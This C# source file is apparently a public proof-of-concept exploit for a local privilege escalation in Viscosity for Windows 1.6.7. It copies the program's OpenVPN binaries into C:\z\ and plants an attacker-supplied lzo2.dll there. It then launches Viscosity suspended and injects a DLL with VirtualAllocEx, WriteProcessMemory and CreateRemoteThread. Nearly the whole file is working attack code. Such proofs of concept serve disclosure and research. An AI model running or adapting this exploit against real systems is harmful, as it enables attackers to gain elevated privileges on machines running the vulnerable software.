﻿using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;

public class Program
{
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    public struct STARTUPINFO
    {
        public uint cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    public enum ProcessCreationFlags : uint
    {
        ZERO_FLAG = 0x00000000,
        CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
        CREATE_DEFAULT_ERROR_MODE = 0x04000000,
        CREATE_NEW_CONSOLE = 0x00000010,
        CREATE_NEW_PROCESS_GROUP = 0x00000200,
        CREATE_NO_WINDOW = 0x08000000,
        CREATE_PROTECTED_PROCESS = 0x00040000,
        CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
        CREATE_SEPARATE_WOW_VDM = 0x00001000,
        CREATE_SHARED_WOW_VDM = 0x00001000,
        CREATE_SUSPENDED = 0x00000004,

    }

    [DllImport("kernel32.dll")]
    public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)]
    private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    private static int Main(string[] args)
    {
        Console.WriteLine("Viscosity for Windows 1.6.7 Privilege Escalation");
        Console.WriteLine("by Kacper Szurek");
        Console.WriteLine("http://security.szurek.pl/");
        Console.WriteLine("https://twitter.com/KacperSzurek");

        string exploitPath = @"C:\z\";
        string currentDir = Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location);
        string dllPath = Path.Combine(currentDir, "Dll.dll");

        if (!System.IO.File.Exists(Path.Combine(currentDir, "Dll.dll")))
        {
            Console.WriteLine("Missing Dll.dll. Did you copy all dependency?");
            return 1;
        }

        if (!System.IO.Directory.Exists(exploitPath))
        {
            System.IO.Directory.CreateDirectory(exploitPath);
        }

        System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\msvcp120.dll", @"C:\z\msvcp120.dll", true);
        System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\msvcr120.dll", @"C:\z\msvcr120.dll", true);
        System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\ssleay32.dll", @"C:\z\ssleay32.dll", true);
        System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\libeay32.dll", @"C:\z\libeay32.dll", true);
        System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\libpkcs11-helper-1.dll", @"C:\z\libpkcs11-helper-1.dll", true);
        System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\openvpn.exe", @"C:\z\openvpn.exe", true);
        System.IO.File.Copy(Path.Combine(currentDir, "Lzo.dll"), @"C:\z\lzo2.dll", true);

        STARTUPINFO startupInfo = default(STARTUPINFO);
        PROCESS_INFORMATION processInformation = default(PROCESS_INFORMATION);
        UIntPtr lpNumberOfBytesWritten;
        if (!Program.CreateProcess(@"c:\Program Files\Viscosity\Viscosity.exe", null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref startupInfo, out processInformation))
        {
            Console.WriteLine("Cannot create Viscosity process");
            return 1;
        }

        uint dwProcessId = processInformation.dwProcessId;
        IntPtr hProcess = Program.OpenProcess(1082, false, (int)dwProcessId);
        IntPtr procAddress = Program.GetProcAddress(Program.GetModuleHandle("kernel32.dll"), "LoadLibraryA");


        IntPtr intPtr = Program.VirtualAllocEx(hProcess, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), 12288u, 4u);
        Program.WriteProcessMemory(hProcess, intPtr, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out lpNumberOfBytesWritten);
        Program.CreateRemoteThread(hProcess, IntPtr.Zero, 0u, procAddress, intPtr, 0u, IntPtr.Zero);

        Console.WriteLine("Wait for message from thread");

        return 0;
    }
}